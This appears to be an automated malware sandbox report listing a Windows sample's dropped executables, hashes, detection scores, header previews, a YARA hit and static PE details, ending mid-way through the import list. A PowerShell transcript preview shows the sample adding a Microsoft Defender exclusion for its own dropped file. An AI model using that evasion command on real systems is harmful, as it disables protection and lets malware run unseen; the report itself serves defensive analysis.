SHA-256:	934690E391745FCA58CA0DF6D41952D6F58ED7B18AB8FDDA22484B01EB262BE8
SHA-512:	5499156CB77B33218077A690AF2EC89D9E9C2AC20796BB2F0A889DD97E569DDD84FDEC0F7C9332523A95D47081235E1BD2240D2971CDD5153CFA906C39BFA0B5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 30%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L......_......................p..... .............@...........................\|.....ja..........................................d.....{..<....................{.....0...................................@............................................text............................... ..`.data....io.........................@....vuci........p{.....................@....rsrc....<....{..<..................@..@.reloc...#....{..$...>..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7428.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	604160
Entropy (8bit):	7.081312542094628
Encrypted:	false
SSDEEP:	12288:zUq737aTz5aNquRVgE6/kEObrF5d/WYN4t88+wGOjsyDR:Aq7rwa0uRm8brF5LupDs
MD5:	DE692F1B4D4C63FED395BE25E878858E
SHA1:	16F5B74E898FB0CD30F127CB1E03DA79E481158A
SHA-256:	6ED753E5B9A7AC5D89A6F9749E24C5BEB7483C6FDA2057E81E1EB3ED5A32AB21
SHA-512:	24227BBCD1451E7F6A2B6C16637987B1388BE398A88005851AF24805BFD7B57AE39AE7B70E69DE3B424EE48E4FB65EF0CABD710692EBC9393F2A1542E6D8E067
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L.....*_......................v.....@.............@...........................~......4..........................................d....P}..I....................}..... ...................................@............................................text.............................. ..`.data...H.u.........................@....rsrc....I...P}..J..................@..@.reloc...#....}..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\75B0.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	278528
Entropy (8bit):	7.390894610588505
Encrypted:	false
SSDEEP:	6144:IdQPlt1M8RJNHUMb62VCDuy1DzJDGLkjNVlZeJjuzbgwuA7ITsq:Ialt6mJN0x2VmlhtawtcjunnF7
MD5:	FA00DF47BCC5F9AD16ED71856FB6F4D6
SHA1:	561D89B6384A44E6D47AC4B68D04FFFFF3DE3558
SHA-256:	B2F5636B2E78B3F60EA53FD0C7C95656E11C08FAC59869B38A165C7BF39CF1E5
SHA-512:	3A6ACB14B041B341C979F233D881225615B225DAC9E84F0CD62DAEC69818212A9620AE82E4B61BA5547E3A0EB9D1D8442EF52CE86BF093918203D33DDF3283CE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......`.....................6......_%............@.............................................................................(....`..H/..............................................................@...............p............................text.............................. ..`.rdata...E.......F..................@..@.data....<..........................@....xoj....r....P......................@..@.rsrc...H/...`...0..................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\86B8.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	262248
Entropy (8bit):	7.344044114091331
Encrypted:	false
SSDEEP:	6144:7Zd5yNguYYTkxcNQoF8KzJugf/vTvN9KQqJIo:7Zd5yNguPQyNQYJuSvDLKXIo
MD5:	EDE62358EA39643E43992E9068E03CA2
SHA1:	0F73E8F96C01135A91D4E1BFECA139AD31C72C15
SHA-256:	187CB817751D6871EB7BE566DD9D9A98A46EDB11391220B69E4FAD695F31E605
SHA-512:	552B31EDA2131C8326996DEBA1812C6A6B23D892DDABDD17C3182FCD43B9019CFC863EED1FF67FA2EC21297E98F61502D3E095972D2C6710D08B3F27EA7A82F1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 14%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{a..............0.................. ... ....@.. .......................@............@.................................(...W.......XH..............h.... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...XH.......J..................@..@.reloc....... ......................@..B................d.......H.......................l...."..................................................................?................................?................................?................................?............................................................................................................ .......@........................................................ .......@........................................................ .......@.....................................

C:\Users\user\AppData\Local\Temp\8746.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	27576
Entropy (8bit):	5.969933955399239
Encrypted:	false
SSDEEP:	384:bekc2D26R7pXha5eglsu2CfQG9kyf4ZZK61TEYFGc1QzOQs42Aghgn:bJcMnacgl6EWlXzZ1QO4khgn
MD5:	FA6D8115D2266A121FE7C1552C0DDDFD
SHA1:	9166433A1F42AE7A623F26341DD9BBED91A045B3
SHA-256:	237E9E25B4DADE7BD2CCD0F6D59C9D607EEED8E60C1041F10BE3D4C50B37A459
SHA-512:	58825BAF9D243279393A635AEE9E7493682F18105D24CFAAF270BFAE54CB2FFDFE12734D7E3EB34983C554F3599BB73D523029871F28D8AFBF25CD27798C2368
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\8746.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N...........l... ........@.. ...............................G....`..................................l..O.......,............X............................................................... ............... ..H............text....L... ...N.................. ..`.rsrc...,............P..............@..@.reloc...............V..............@..B.................l......H.......PK..L!..........................................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\89D7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	510976
Entropy (8bit):	7.850749525333838
Encrypted:	false
SSDEEP:	12288:Iw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+W:IVhdLVg2Zep7njXzPDxC+W
MD5:	B0A956B96769AA21A44206DD528C5B39
SHA1:	30CF20E67DFA3FC38C6E80B761AD0D523C5AF43A
SHA-256:	37B78E9A50830B88E97F6048F90EA0AFE925E0C6E4F0E9A1CF3C7849787D9C4C
SHA-512:	5B6D8707FA2D4B7D41D7B1733409A34645DF2B42FF064D9E7643A8F4AE7076A798B2012959AF6F8B30E44D60B28EF4B1761E0CB3287448329C9144AE9FD9CE9F
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\89D7.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.............N.... ........@.. .......................@......yq....`.....................................K............................ ....................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................0.......H........u..hk..........@Z..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\8E8B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	791552
Entropy (8bit):	7.368824467033047
Encrypted:	false
SSDEEP:	12288:uDMkBTpEvda0f6dSctc54lTQazT6A/9Or+ilw8lCW0k7ro8R3D3INLf3:QMk+dV6dS6KazZ4rPlw8lCWYQi
MD5:	7917305400EE899130B1D5B7AFA0A159
SHA1:	D45E1A34FE773040D7034A80BBEBB3DBD3EA4252
SHA-256:	80C4B12305B41D2FDCD9DCCD53D2414C3AEA2188198F3D79AF262709C1E2DAC9
SHA-512:	417DECA0BEEE73B6EA8379B85726A9DAAF4DC32721D7A658BA42B9D359A6739F7478D3E0068C8B110497CB222956A1AFA5E1BF28C202965DEDE7A659EB824EF6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........a..........................^..................................Rich...........................PE..L...m;._......................v...................@............................................................................P....0...I.......................... ................................~..@............................................text............................... ..`.data...H.u.........................@....rsrc....I...0...J..................@..@.reloc..8$.......&..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\97A5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	345600
Entropy (8bit):	6.002783867482684
Encrypted:	false
SSDEEP:	6144:NOTOeA4lwH4QNlDembw1wCuVB/cChQoyYtCv3ddx/W:NiOePwHjNlDePuVB/cChQoytjx/W
MD5:	B8D2D644A3AC5DF8AF9B3AFF803F3347
SHA1:	062E29D59604956A4CFFD64FC81CD1C3F72B0FF3
SHA-256:	C3F8D6B3E497471CC5E1526D59F7068F0655704F98DCA59D79A77B81F1CB7FD5
SHA-512:	1C3E8F1AD4CC920F2B6815F87C351363E114290811D395790918744452B8ACDF2FDF753AC873CB3FCD115E70FD66DFC59C5A08E38F20080D655FCD88483415AA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L......_......................p.....p.............@...........................t.............................................4...d....`s..<....................s.....0..................................@............................................text...h........................... ..`.data....io.........................@....xemu........Ps.....................@....rsrc....<...`s..<..................@..@.reloc...#....s..$..."..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EDD.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	5.395556088889033
Encrypted:	false
SSDEEP:	384:ezekc2D26R7pXha5eglsu2tiP39n+NDr7vGuywqFGc1QzOQslg:qJcMnacgl6Q10rSuywCZ1QO
MD5:	787AF677D0C317E8062B9705CB64F951
SHA1:	41BF391CE44004A22BA7F18E5FDCDCFCEA73E38F
SHA-256:	7CFA3F3EBB7DCE336E24DF02D5BA0FDBC081927892D597986113FB11EDF1702E
SHA-512:	8A9BF2D0DF12926F3253DCF5F2B5186928107C36189F404C50C69B67BC09DDA267FACD53E3259ABF3934DE6682BC3B0E49D1D5ACCFA5D4A5B702F4F9EF8D8B45
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\EDD.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N..........nl... ........@.. ..............................P.....`..................................l..S....................Z............................................................... ............... ..H............text...tL... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................Pl......H.......PK... ..........................................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v10ptpcx.iby.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Roaming\beuawud Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	337526
Entropy (8bit):	7.999338951800792
Encrypted:	true
SSDEEP:	6144:AvGRP66xZSKUZlmY9Y4pck/283ajKg+CvJKoVjPmZMqHc/qrIsiNJ5ixSDJ:AUPBxZCll3pxfqjWC9mY/qrIsiNHRDJ
MD5:	73B48815E85A62D84F5BB46E31D67AA7
SHA1:	74D3CF9931564A828E3D594ECB105FA80A4D596C
SHA-256:	BD35FD2B3538D2966514E2518B63BFD40B35608E49CBC6F7829EF5019D3C650D
SHA-512:	B01FA20CCA894371B79F467070BD11C4B041EB525ED95BC46F52CBFDE16C349DC32C4F6725D11938552400DE9E4A467633D0038AFBB10FE2C0BD75B56B111970
Malicious:	false
Reputation:	unknown
Preview:	.s...v(p}.....C...f....B..$..d..F..k.".P"./.-.....t......5..vV.~.#.[..w.t...!>u.9..\.o...f^S.Z.iBV.r.c'{TC.....^}=.d.;9....S<U.....T.\|.....r...z..a.jK.S..cJ?t....$2.tu7..B7.4....`...T...vp.7..TD...^....O4..&B...9..,....x:.o..z.fR...Q...7..{....3...........oE..l.(.%.6.}.Sx6......C....x.+l.....~e..@_.8...h.Rvir..S.Z5.-...a.1..l~..f....Nu.fI.{vc..O..'.%M......\|k.cG..D.ix.......35...z'....Z..W.B0.%...(.]#kI)......0v...?y.Z8a.x..50.W....?@N.........y.V..].P.&80..........PhZ.sI\|'.#6.."...T..X~Jv..4...w.....3......L.=.o.J`...<i.+O...Xw..?.v.../?.TnR..~P]..:..............1\}\..h.E>M.....k<J.gG.y..lX.~........@...9Q...a.u.....u..Y.w1^G@......s..s...C.l..P.v`........^.....H..#y.\|.A..K.e...>.#U..,....K7w.^..Z4....:V...p...-;0,J...85.z...$.!.y..h............SM``{.c...[`..j.....=W.B\|.B..xC.>./...P..G..=G....g..f....e.8.z.......s..7..ty&Xp1.O..9...N.^hu%{y?....Z...3...".>l..o.e..........l}..S*F..!.....G.r..o.8y.v...!F.D.d....\.T...].9.e09.....

C:\Users\user\AppData\Roaming\cviueca Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	345600
Entropy (8bit):	6.002783867482684
Encrypted:	false
SSDEEP:	6144:NOTOeA4lwH4QNlDembw1wCuVB/cChQoyYtCv3ddx/W:NiOePwHjNlDePuVB/cChQoytjx/W
MD5:	B8D2D644A3AC5DF8AF9B3AFF803F3347
SHA1:	062E29D59604956A4CFFD64FC81CD1C3F72B0FF3
SHA-256:	C3F8D6B3E497471CC5E1526D59F7068F0655704F98DCA59D79A77B81F1CB7FD5
SHA-512:	1C3E8F1AD4CC920F2B6815F87C351363E114290811D395790918744452B8ACDF2FDF753AC873CB3FCD115E70FD66DFC59C5A08E38F20080D655FCD88483415AA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L......_......................p.....p.............@...........................t.............................................4...d....`s..<....................s.....0..................................@............................................text...h........................... ..`.data....io.........................@....xemu........Ps.....................@....rsrc....<...`s..<..................@..@.reloc...#....s..$..."..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\cviueca:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\eviueca Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348672
Entropy (8bit):	5.997778327285649
Encrypted:	false
SSDEEP:	6144:0BbSn3n6QHUKl3hINRqdhUm6b8mCcNebxCg1:Eu3n6UUKlxS2Um6b8mCcNej
MD5:	539C39A9565CD4B120E5EB121E45C3C2
SHA1:	5E1975A1C8F9B8416D9F5F785882DFB0CC9161DC
SHA-256:	C673B8408DB0EB515651E6A6F3361C713903001011C6E13A1825C0376A83D1DD
SHA-512:	3CC343A53051BE34B4CAD9AA9A9AE68D6B5A978B2ECD10516E4934452D29A9455A6CEB5EB7C7B691B2D08F1781BFB7B1E3627CB2823DD4F60860861F2202BA8F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L....8?`......................v.....`.............@...........................z......f......................................$...d....py..I....................y..... ..................................@............................................text............................... ..`.data...H.u.........................@....rsrc....I...py..J..................@..@.reloc...#....y..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\sfiueca Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\20211029\PowerShell_transcript.855271.tma_ZGFX.20211029153038.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5837
Entropy (8bit):	5.405294114196077
Encrypted:	false
SSDEEP:	96:BZjK6CNMqDo1Zt5Zjt6CNMqDo1Zt6UWMjZj46CNMqDo1Ztmx88T+ZJn:Prni9B2Yn
MD5:	18D3931C59BBA4D325E29740961DC7FF
SHA1:	18AAA967A257D78A55234DB1CBFD9302882A50A6
SHA-256:	B33CEA91BE89E9DE0F9AD6E9BAC53E334D5DB1CFBD4ADB72B5E4F16ACD204BE2
SHA-512:	E8F520B2C1148FC8044192D7C60A2E1A6E364673B3C6EF4FD3E20EA9CCE081D31787BC11A0941238FBA7F6BBFA41E4CAD763D23E23CE057F23562A0AD86349FD
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211029153041..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 855271 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\5D4.exe -Force..Process ID: 4756..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211029153041..******************..PS>Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\5D4.exe -Force..********************..Windows PowerShell transcript start..Start time: 20211029153543..Username: computer\user..RunAs Us

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.002783867482684
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SkB6zJ6H3N.exe
File size:	345600
MD5:	b8d2d644a3ac5df8af9b3aff803f3347
SHA1:	062e29d59604956a4cffd64fc81cd1c3f72b0ff3
SHA256:	c3f8d6b3e497471cc5e1526d59f7068f0655704f98dca59d79a77b81f1cb7fd5
SHA512:	1c3e8f1ad4cc920f2b6815f87c351363e114290811d395790918744452b8acdf2fdf753ac873cb3fcd115e70fd66dfc59c5a08e38f20080d655fcd88483415aa
SSDEEP:	6144:NOTOeA4lwH4QNlDembw1wCuVB/cChQoyYtCv3ddx/W:NiOePwHjNlDePuVB/cChQoytjx/W
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m..2m...m...m...m..3mq..m...m...m...m...m..6m...m...m...m...m...mRich...m................PE..L......_...........

File Icon


Icon Hash:	aecaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x41c770
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5F030C83 [Mon Jul 6 11:35:31 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	e522cb867082e04c7a4b61561f8516ce

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FE5F8C1FE4Bh
call 00007FE5F8C1AC96h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043C600h
push 00421690h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0043E494h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401070h]
cmp dword ptr [02B339C4h], 00000000h
jne 00007FE5F8C1AC90h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [004010FCh]
call 00007FE5F8C1AE13h
mov dword ptr [ebp-6Ch], eax
call 00007FE5F8C230FBh
test eax, eax
jne 00007FE5F8C1AC8Ch
push 0000001Ch
call 00007FE5F8C1ADD0h
add esp, 04h
call 00007FE5F8C22A58h
test eax, eax
jne 00007FE5F8C1AC8Ch
push 00000010h
call 00007FE5F8C1ADBDh
add esp, 04h
push 00000001h
call 00007FE5F8C229A3h
add esp, 04h
call 00007FE5F8C207BBh
mov dword ptr [ebp-04h], 00000000h
call 00007FE5F8C1F19Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3cc34	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2736000	0x3c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x273a000	0x1b88	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1230	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1bbf0	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1dc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3c768	0x3c800	False	0.59776520532	data	6.98541058643	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x3e000	0x26f69c8	0x1600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.xemu	0x2735000	0x2e5	0x400	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2736000	0x3c00	0x3c00	False	0.746549479167	data	6.42298314809	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x273a000	0x123f0	0x12400	False	0.0814158818493	data	1.05267442442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2736240	0x25a8	data	Spanish	Paraguay
RT_ICON	0x27387e8	0x10a8	data	Spanish	Paraguay
RT_STRING	0x27399d0	0x72	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x2739a48	0x1b6	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x2739920	0x90	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x27398b8	0x68	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x2739890	0x22	data	Spanish	Paraguay
None	0x27399c0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x27399b0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL	Import
KERNEL32.dll	GetDriveTypeW, GetCPInfo, HeapAlloc, InterlockedIncrement, GetSystemWindowsDirectoryW, SetEnvironmentVariableW, QueryDosDeviceA, GetNamedPipeHandleStateA, SetHandleInformation, FindFirstFileExW, LockFile, BackupSeek, FreeEnvironmentStringsA, GetModuleHandleW, IsBadReadPtr, ActivateActCtx, GetPrivateProfileIntA, SetFileShortNameW, ReadConsoleInputA, CopyFileW, GetSystemWow64DirectoryW, GetVersionExW, SetDllDirectoryA, GetSystemDirectoryA, CreateActCtxA, CompareStringW, GetStartupInfoW, VerifyVersionInfoW, TlsGetValue, GetLongPathNameW, SetLastError, GetProcAddress, FindVolumeMountPointClose, WriteProfileSectionA, GlobalGetAtomNameA, FindClose, GetPrivateProfileStringA, OpenWaitableTimerA, LocalAlloc, SetSystemTime, GetModuleFileNameA, FindFirstChangeNotificationA, GetProcessShutdownParameters, FreeEnvironmentStringsW, BuildCommDCBA, GetCurrentDirectoryA, CompareStringA, GetConsoleCursorInfo, TlsAlloc, GetWindowsDirectoryW, GetProfileSectionW, AreFileApisANSI, DeleteFileA, LocalFileTimeToFileTime, CloseHandle, SetStdHandle, GetLastError, GetConsoleAliasesLengthW, FlushFileBuffers, MoveFileA, GetCommandLineW, HeapSetInformation, InterlockedDecrement, DecodePointer, 